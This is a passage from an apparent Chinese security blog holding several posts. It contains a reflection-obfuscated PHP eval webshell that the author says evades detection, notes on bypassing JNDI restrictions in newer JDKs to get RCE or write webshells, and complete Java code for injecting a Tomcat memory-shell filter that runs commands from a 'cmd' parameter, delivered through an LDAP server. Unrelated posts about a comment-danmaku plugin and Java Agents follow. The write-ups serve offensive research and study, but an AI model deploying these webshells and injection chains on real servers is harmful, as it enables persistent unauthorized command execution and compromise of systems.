    // 创建一个Command类的实例
    $instance = new Command();
    // 创建一个反射类对象，用于检查和操作Command类
    $reflectionClass = new ReflectionClass('Command');
    // 获取实例中command属性的反射对象
    // 注意：$instance->command尝试访问公共属性command的值，这个值被用作字符串来查找属性
    $reflectionProperty = $reflectionClass->getProperty($instance->command);
    // 设置反射属性为可访问，即使它是私有或受保护的
    $reflectionProperty->setAccessible(true);
    // 从实例中获取该属性的实际值（通常是一个闭包函数）
    $command = $reflectionProperty->getValue($instance);
    // 创建一个反射函数对象，用于检查和调用函数
    $reflectionMethod = new ReflectionFunction($command);
    // 调用获取的函数，并传入$param参数（通常是从请求中获取的代码）
    $result = $reflectionMethod->invoke($param);
    echo $result;
}
class Command {
    private $get;
    public $command;
    public function __construct() {
        $this->command = var3;
        $this->get = function ($param) {  return eval($param.'exit();//'); };
    }
}
?>

我们尝试下执行phpinfo，没毛病。

接下来过一下检测，同样没问题。

get这三个字母也可以通过获取文件名等方式获取，比如将该webshell文件改成get.php只获取get字段，还有很多方法绕过，同样可以改成蚁剑加载器等，不一一讲述。

高版本JDK下JNDI漏洞利用方法精简总结

GowNinng — Fri, 20 Jun 2025 02:42:14 GMT

前言

高版本JDK在RMI和LDAP的 trustURLCodebase 做了限制，修复后的JDK版本无法在不修改该参数的情况下通过远程加载ObjectFactory类的方式执行Java代码。目前公开常用的利用方法有通过Tomcat的 org.apache.naming.factory.BeanFactory 工厂类调用 javax.el.ELProcessor#eval 方法或 groovy.lang.GroovyShell#evaluate 方法，以及通过LDAP的 javaSerializedData 反序列化gadget，但在一些特殊情况下这些方法可能不适用，于是探讨其他利用方法。

基于BeanFactory的利用方法

绕过原理

LDAP和RMI收到服务端反序列化的 Reference 对象后，会根据 classFactory 属性从本地classpath中实例化一个ObjectFactory对象，然后调用其 getObjectInstance 方法。Tomcat的 org.apache.naming.factory.BeanFactory 类会把 Reference 对象的 className 属性作为类名实例化对象，从 Reference 对象的Addrs参数集合中获取 forceString 类型的参数，按逗号和等号分割后，根据propName作为方法名称反射调用相应方法。 javax.el.ELProcessor#eval 和 groovy.lang.GroovyShell#evaluate 这两个方法可只传一个String参数执行攻击代码，且依赖库常见，因此被经常使用。

可用的利用类

MLet：JDK自带的 javax.management.loading.MLet 类，继承自URLClassloader，有一个无参构造方法和 addURL(String)、loadClass(String) 方法。可用于gadget探测，但单靠 ClassLoader.loadClass 无法触发static代码块，暂时无法RCE。
GroovyClassLoader：原理和MLet基本相同，可实现RCE，但由于已有 groovy.lang.GroovyShell 可用，该类价值不大。
SnakeYaml：new org.yaml.snakeyaml.Yaml().load(String) 符合条件，依赖库使用比Groovy更常见，有一定利用价值。
XStream：new com.thoughtworks.xstream.XStream().fromXML(String) 符合条件，可用于攻击。
MVEL：入口 org.mvel2.MVEL#eval(String) 因无参构造方法是private修饰，不符合条件，但可从 org.mvel2.sh.ShellSession#exec(String) 进入，通过执行内置命令调用 MVEL.eval 解析表达式。
NativeLibLoader：JDK的 com.sun.glass.utils.NativeLibLoader 类有 loadLibrary(String) 方法，可加载指定路径的动态链接库文件，结合WEB功能或写文件gadget上传动态链接库后可执行命令。

XXE & RCE

漏洞发现

通过搜索实现 javax.naming.spi.ObjectFactory 接口的类，发现Tomcat的 org.apache.catalina.users.MemoryUserDatabaseFactory 工厂类可能存在漏洞。该类会实例化 MemoryUserDatabase 对象，从 Reference 中取出 pathname、readonly 参数赋值，然后调用 open() 和 save() 方法。

XXE漏洞

open() 方法会根据 pathname 发起本地或远程文件访问，使用commons-digester解析返回的XML内容，存在XXE漏洞。

RCE漏洞及利用方法

问题分析：在Linux系统下，由于目录跳转问题，需要在 CATALINA.BASE 文件夹下创建特定目录，可使用 BeanFactory 执行创建目录的利用类，如 org.h2.store.fs.FileUtils#createDirectory(String)。
利用方法：
- 创建Tomcat管理员：让JNDI返回特定的 ResourceRef 对象，可覆盖 CATALINA.BASE/conf/tomcat-users.xml 文件，实现创建Tomcat管理员的目的。
- 写Webshell：让JNDI返回另一个 ResourceRef 对象，可将包含攻击代码的XML写入web目录，实现写Webshell的功能。

JDBC RCE

根据classpath下可用的jdbc驱动构造相应的payload，实现RCE。

dbcp

分为dbcp1和dbcp2，又分为commons-dbcp和Tomcat自带的dbcp。当 InitialSize > 0 时，会调用 getLogWriter 方法创建数据库连接。提供了不同版本dbcp的RCE方法。

tomcat - jdbc

可使用 org.apache.tomcat.jdbc.pool.DataSourceFactory 实现RCE。

druid

参考《JNDI jdk高版本绕过—— Druid》，和dbcp原理一样，可构造相应的 Reference 对象实现RCE。

Deserialize

虽然在查看 ObjectFactory 时发现有几个类有反序列化的地方，但JNDI本身就能反序列化。

引用

https://tttang.com/archive/1405/

Tomcat高版本注入内存马

GowNinng — Thu, 19 Jun 2025 08:07:50 GMT

前言

之前已在https://gowninng.cn/archives/019b8d68-fe57-776c-890b-fada4ad9fefb#jndi%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80一文中讲解了JNDI注入基础，并使用工具marshalsec起一个LDAP服务，使用远程的class文件（下载的类中会被自动执行的地方只有三个代码块，分别是static{}，{}和无参构造方法）执行恶意代码。并没有在Tomcat环境中演示该示例，所以本次将在Tomcat8和9环境下注入恶意代码。

tomcat8环境

先创建Tomcat8项目，java版本为1.8.0_41，并且非Tomcat8.5及以上版本。

代码如下，Servlet的doGet方法中调用lookup()请求传来的数据。

package zero.overflow.jndidemo;

import javax.naming.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebServlet(name = "helloServlet", value = "/hello")
public class HelloServlet extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) {
        String name = request.getParameter("name");
        try {
            InitialContext context = new InitialContext();
            context.lookup(name);
        } catch (NamingException e) {
            throw new RuntimeException(e);
        }
    }
}

启动tomcat8服务。

开始构造恶意代码项目：

在当前项目中的pom.xml中添加tomcat8.0.53、javax.servlet-api及javassist依赖：



    4.0.0

    org.example
    tomcat8jndi-inject
    1.0-SNAPSHOT
    
        
            org.apache.tomcat
            tomcat-catalina
            8.0.53
        
        
            javax.servlet
            javax.servlet-api
            4.0.1
        
        
            org.javassist
            javassist
            3.21.0-GA
        
    

    
        8
        8
        UTF-8

新建三个文件：

1.cmd命令执行文件。

import javax.servlet.*;
import java.io.*;
public class ShellFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) {}
    @Override
    public void destroy() {}
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            BufferedReader bufferedReader = new BufferedReader(
                    new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                response.getWriter().println(line);
            }
        }
    }
}

2.将shell转为base64。

import javassist.*;
import java.util.Base64;

public class DumpBase64 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        // 从类路径获取CtClass对象
        CtClass ctClass = pool.get("ShellFilter");

        // 转换为字节数组
        byte[] classBytes = ctClass.toBytecode();

        // 使用BASE64Encoder进行Base64编码
        String code = Base64.getEncoder().encodeToString(classBytes);
        System.out.println(code);
    }
}

运行该文件，会获得编码后的的base64shell。

3.将编码的shell添加到写好的内存马中：

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.Filter;
import java.lang.reflect.Method;
import java.util.Base64;

public class Inject {
    public StandardContext getContext() {
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
        StandardContext context = (StandardContext) standardroot.getContext();
        return context;
    }
    public Filter getFilter() throws Exception {
        String code = "yv66vgAAADQAXwoADwA0CAArCwA1ADYKADcAOAoANwA5BwA6BwA7CgA8AD0KAAcAPgoABgA/CgAGAEALAEEAQgoAQwBEBwBFBwBGBwBHAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MU2hlbGxGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAHZGVzdHJveQEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQADY21kAQANU3RhY2tNYXBUYWJsZQcASAcASQcAOgEACkV4Y2VwdGlvbnMHAEoBAApTb3VyY2VGaWxlAQAQU2hlbGxGaWx0ZXIuamF2YQwAEQASBwBLDABMAE0HAE4MAE8AUAwAUQBSAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAEkMAFMAVAwAEQBVDAARAFYMAFcAWAcAWQwAWgBbBwBcDABdAF4BAAtTaGVsbEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSU9FeGNlcHRpb24BABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEADgAPAAEAEAAAAAQAAQARABIAAQATAAAALwABAAEAAAAFKrcAAbEAAAACABQAAAAGAAEAAAAEABUAAAAMAAEAAAAFABYAFwAAAAEAGAAZAAEAEwAAADUAAAACAAAAAbEAAAACABQAAAAGAAEAAAAGABUAAAAWAAIAAAABABYAFwAAAAAAAQAaABsAAQABABwAEgABABMAAAArAAAAAQAAAAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAAAQAWABcAAAABAB0AHgACABMAAADrAAUACAAAAEgrEgK5AAMCADoEGQTGADu4AAQZBLYABToFuwAGWbsAB1kZBbYACLcACbcACjoGGQa2AAtZOgfGABEsuQAMAQAZB7YADaf/6rEAAAADABQAAAAiAAgAAAALAAoADAAPAA0AGQAOACMADwAuABEAOQASAEcAFQAVAAAAUgAIABkALgAfACAABQAuABkAIQAiAAYANgARACMAJAAHAAAASAAWABcAAAAAAEgAJQAmAAEAAABIACcAKAACAAAASAApACoAAwAKAD4AKwAkAAQALAAAABEAAv4ALgcALQcALgcAL/kAGAAwAAAABAABADEAAQAyAAAAAgAz";
        byte[] bytes = Base64.getDecoder().decode(code);

        ClassLoader cl = Thread.currentThread().getContextClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        method.setAccessible(true);
        Class clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
        Filter filter = (Filter) clazz.newInstance();
        return filter;
    }
    public Inject() throws Exception {
        StandardContext context = getContext();
        Filter filter = getFilter();

        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName("shell");
        filterDef.setFilter(filter);
        filterDef.setFilterClass(filter.getClass().getName());

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("shell");
        filterMap.addURLPattern("/*");

        context.addFilterDef(filterDef);
        context.addFilterMapBefore(filterMap);
        context.filterStart();
        System.out.println("注入成功");
    }
}

必须通过ClassLoader创建类，因为在利用环境中，这个Inject类是通过jndi服务让受害者下载到本地的，受害者环境中并没有ShellFilter这个Filter，而jndi一次只能指向到一个class上。

就算是内部类，在编译后依然会生成两个独立的class文件。所以条件所限，只能写成动态生成类的方式。

将代码编译成class文件，并启动python的httpserver，80端口。

使用marshalsec起一个ldap服务。

直接通过ldap注入，注入后访问?cmd=ipconfig。

既然tomcat8已经成功实现，那么开始尝试使用tomcat9版本来复现。

tomcat9环境

新创建一个tomcat9

创建两个类：

package org.example.tomcat9jndi;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebServlet(name = "helloServlet", value = "/hello")
public class HelloServlet extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) {

        try {
           new Inject();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

package org.example.tomcat9jndi;

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.Filter;
import java.lang.reflect.Method;
import java.util.Base64;

public class Inject {
    public StandardContext getContext() {
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
        StandardContext context = (StandardContext) standardroot.getContext();
        return context;
    }
    public Filter getFilter() throws Exception {
        String code = "yv66vgAAADQAXwoADwA0CAArCwA1ADYKADcAOAoANwA5BwA6BwA7CgA8AD0KAAcAPgoABgA/CgAGAEALAEEAQgoAQwBEBwBFBwBGBwBHAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MU2hlbGxGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAHZGVzdHJveQEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQADY21kAQANU3RhY2tNYXBUYWJsZQcASAcASQcAOgEACkV4Y2VwdGlvbnMHAEoBAApTb3VyY2VGaWxlAQAQU2hlbGxGaWx0ZXIuamF2YQwAEQASBwBLDABMAE0HAE4MAE8AUAwAUQBSAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAEkMAFMAVAwAEQBVDAARAFYMAFcAWAcAWQwAWgBbBwBcDABdAF4BAAtTaGVsbEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSU9FeGNlcHRpb24BABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEADgAPAAEAEAAAAAQAAQARABIAAQATAAAALwABAAEAAAAFKrcAAbEAAAACABQAAAAGAAEAAAAEABUAAAAMAAEAAAAFABYAFwAAAAEAGAAZAAEAEwAAADUAAAACAAAAAbEAAAACABQAAAAGAAEAAAAGABUAAAAWAAIAAAABABYAFwAAAAAAAQAaABsAAQABABwAEgABABMAAAArAAAAAQAAAAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAAAQAWABcAAAABAB0AHgACABMAAADrAAUACAAAAEgrEgK5AAMCADoEGQTGADu4AAQZBLYABToFuwAGWbsAB1kZBbYACLcACbcACjoGGQa2AAtZOgfGABEsuQAMAQAZB7YADaf/6rEAAAADABQAAAAiAAgAAAALAAoADAAPAA0AGQAOACMADwAuABEAOQASAEcAFQAVAAAAUgAIABkALgAfACAABQAuABkAIQAiAAYANgARACMAJAAHAAAASAAWABcAAAAAAEgAJQAmAAEAAABIACcAKAACAAAASAApACoAAwAKAD4AKwAkAAQALAAAABEAAv4ALgcALQcALgcAL/kAGAAwAAAABAABADEAAQAyAAAAAgAz";
        byte[] bytes = Base64.getDecoder().decode(code);

        ClassLoader cl = Thread.currentThread().getContextClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        method.setAccessible(true);
        Class clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
        Filter filter = (Filter) clazz.newInstance();
        return filter;
    }
    public Inject() throws Exception {
        StandardContext context = getContext();
        Filter filter = getFilter();

        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName("shell");
        filterDef.setFilter(filter);
        filterDef.setFilterClass(filter.getClass().getName());

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("shell");
        filterMap.addURLPattern("/*");

        context.addFilterDef(filterDef);
        context.addFilterMapBefore(filterMap);
        context.filterStart();
        System.out.println("注入成功");

启动tomcat，访问/hello，发现报错，在Inject.java的getContext()方法处爆出了空指针异常， Inject.getContext(Inject.java:17)

null。

断点调试，看是哪个地方出现了问题，将new Inject();

断点并重新运行。

standardroot=null，获取变量失败，那就是这个地方的问题，跟进方法webappClassLoaderBase.get

ources();。

该方法已弃用，但全局存在protect

resources属性。

1. resources 字段的作用

所属类：WebappClassLoaderBase（Tomcat 的 Web 应用类加载器）。
类型：org.apache.catalina.webresources.StandardRoot。
功能：
- 管理 Web 应用的静态资源（如 .jsp、.html、.class 文件）。
- 提供类加载路径（/WEB-INF/classes 和 /WEB-INF/lib）。
- 与 StandardContext 关联，控制资源访问权限。

2. 为什么需要访问 resources 字段？

Tomcat 没有提供公开 API 直接获取 StandardRoot 或 StandardContext，但某些场景需要它们，例如：

动态注册 Servlet/Filter（如 Spring Boot 内嵌 Tomcat）。
调试类加载问题（如 ClassNotFoundException）。
直接操作 JNDI 资源（绕过 java:comp/env 查找）。

由于 resources 是私有字段，必须用反射强行访问。

Thread.currentThread().getContextClassLoader()
获取当前线程的上下文类加载器（通常是 Tomcat 的 WebappClassLoaderBase）。

(WebappClassLoaderBase)
强制转换为 Tomcat 的 Web 应用类加载器，因为 Tomcat 会为每个 Web 应用创建一个独立的 WebappClassLoaderBase。

直接通过反射获取StandardContext ：

package org.example.tomcat9jndi;

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.Filter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;

public class Inject {
    public StandardContext getContext() throws NoSuchFieldException, IllegalAccessException {
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        Field field = WebappClassLoaderBase.class.getDeclaredField("resources");
        field.setAccessible(true);
        StandardRoot standardRoot = (StandardRoot) field.get(webappClassLoaderBase);
        StandardContext context = (StandardContext) standardRoot.getContext();
        return context;
    }
    public Filter getFilter() throws Exception {
        String code = "yv66vgAAADQAXwoADwA0CAArCwA1ADYKADcAOAoANwA5BwA6BwA7CgA8AD0KAAcAPgoABgA/CgAGAEALAEEAQgoAQwBEBwBFBwBGBwBHAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MU2hlbGxGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAHZGVzdHJveQEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQADY21kAQANU3RhY2tNYXBUYWJsZQcASAcASQcAOgEACkV4Y2VwdGlvbnMHAEoBAApTb3VyY2VGaWxlAQAQU2hlbGxGaWx0ZXIuamF2YQwAEQASBwBLDABMAE0HAE4MAE8AUAwAUQBSAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAEkMAFMAVAwAEQBVDAARAFYMAFcAWAcAWQwAWgBbBwBcDABdAF4BAAtTaGVsbEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSU9FeGNlcHRpb24BABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEADgAPAAEAEAAAAAQAAQARABIAAQATAAAALwABAAEAAAAFKrcAAbEAAAACABQAAAAGAAEAAAAEABUAAAAMAAEAAAAFABYAFwAAAAEAGAAZAAEAEwAAADUAAAACAAAAAbEAAAACABQAAAAGAAEAAAAGABUAAAAWAAIAAAABABYAFwAAAAAAAQAaABsAAQABABwAEgABABMAAAArAAAAAQAAAAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAAAQAWABcAAAABAB0AHgACABMAAADrAAUACAAAAEgrEgK5AAMCADoEGQTGADu4AAQZBLYABToFuwAGWbsAB1kZBbYACLcACbcACjoGGQa2AAtZOgfGABEsuQAMAQAZB7YADaf/6rEAAAADABQAAAAiAAgAAAALAAoADAAPAA0AGQAOACMADwAuABEAOQASAEcAFQAVAAAAUgAIABkALgAfACAABQAuABkAIQAiAAYANgARACMAJAAHAAAASAAWABcAAAAAAEgAJQAmAAEAAABIACcAKAACAAAASAApACoAAwAKAD4AKwAkAAQALAAAABEAAv4ALgcALQcALgcAL/kAGAAwAAAABAABADEAAQAyAAAAAgAz";
        byte[] bytes = Base64.getDecoder().decode(code);

        ClassLoader cl = Thread.currentThread().getContextClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        method.setAccessible(true);
        Class clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
        Filter filter = (Filter) clazz.newInstance();
        return filter;
    }
    public Inject() throws Exception {
        StandardContext context = getContext();
        Filter filter = getFilter();

        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName("shell");
        filterDef.setFilter(filter);
        filterDef.setFilterClass(filter.getClass().getName());

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("shell");
        filterMap.addURLPattern("/*");

        context.addFilterDef(filterDef);
        context.addFilterMapBefore(filterMap);
        context.filterStart();
        System.out.println("注入成功");
    }

运行tomc

提示注入成功。

可执行命令。

引用

https://www.bilibili.com/video/BV18vMczoEgA?spm_id_from=333.788.videopod.sections&vd_source=90787ebde79c2be9be18f804ecb72d03

基于Barrager.js的Halo主题评论弹幕插件

GowNinng — Wed, 11 Jun 2025 13:10:19 GMT

最近闲来无事，经常逛别人博客，发现https://usj.cc/ 的弹幕评论挺有意思，发现该博主的弹幕是基于https://yaseng.org/jquery.barrager.js/ 所写。同时我发现halo博客并没有类似该弹幕效果的插件，我就依葫芦画瓢将该弹幕移植到Halo博客中的插件了。

效果

（原谅我博客评论较少，和上面博主的效果其实差不多）

https://gowninng.cn/?preview-theme=theme-Ying 这是Ying主题演示链接。

后台设置

详情：

样式设置

支持halo评论插件和artalk评论插件，使用artalk评论插件的话要配合artalk评论区插件使用。

容器层级设置：如果当前使用的主题中没有设置z-index层级的话，可以设置一下，防止弹幕不在body的下面。

弹幕层级：弹幕层级要比容器层级低，这样才会在body后面。

其他都是一些简单的设置。

行为设置

行为设置中都是常规设置。

页面设

页面设置是为了让除了文章页以外的页面加载弹幕所添加的设置，现在只支持Halo评论的自定义页面和友链页面，artalk不需要设置这些，因为artalk的评论接口都是一致的。

其他

除此之外，在后台菜单中增加了一个

这个页面名叫评论弹幕聚合，会展示博客所有的评论弹幕，当前仅支持Halo评论插件。此页面保留着halo插件原始模版，只是稍微改动一下。

基本上现在就是这些功能，觉得还不够完善，等有时间在完善一下。

Java Agent & 内存马

GowNinng — Thu, 17 Apr 2025 01:23:31 GMT

Java Agent

Java Agent是一种可以在JVM启动时或运行时附加的工具，它可以拦截并修改类文件字节码。Java Agent通常用于实现AOP（面向切面编程）、性能监控、日志记录等功能。

Java Agent有两种加载方式：

1.Premain：在JVM启动时通过命令行参数-javaagent:path/to/your-agent.jar来指定。

2.Agentmain：在JVM已经启动后，通过Attack API动态地附加到正在运行的JVM进程上。

准备

先来准备一个正在运行的正常程序：项目很简单，只有一个简单的Main方法，和一个Fox类。

有一个狐狸类，狐狸有一个say方法。

package org.example;

public class Fox {
    public  void say(){
        System.out.println("ding-ding-ding...");
    }
}

还有一个程序入口，每秒钟调用一次狐狸类的say()方法。

package org.example;

public class Main {
    public static void main(String[] args) throws InterruptedException {
        Fox fox = new Fox();
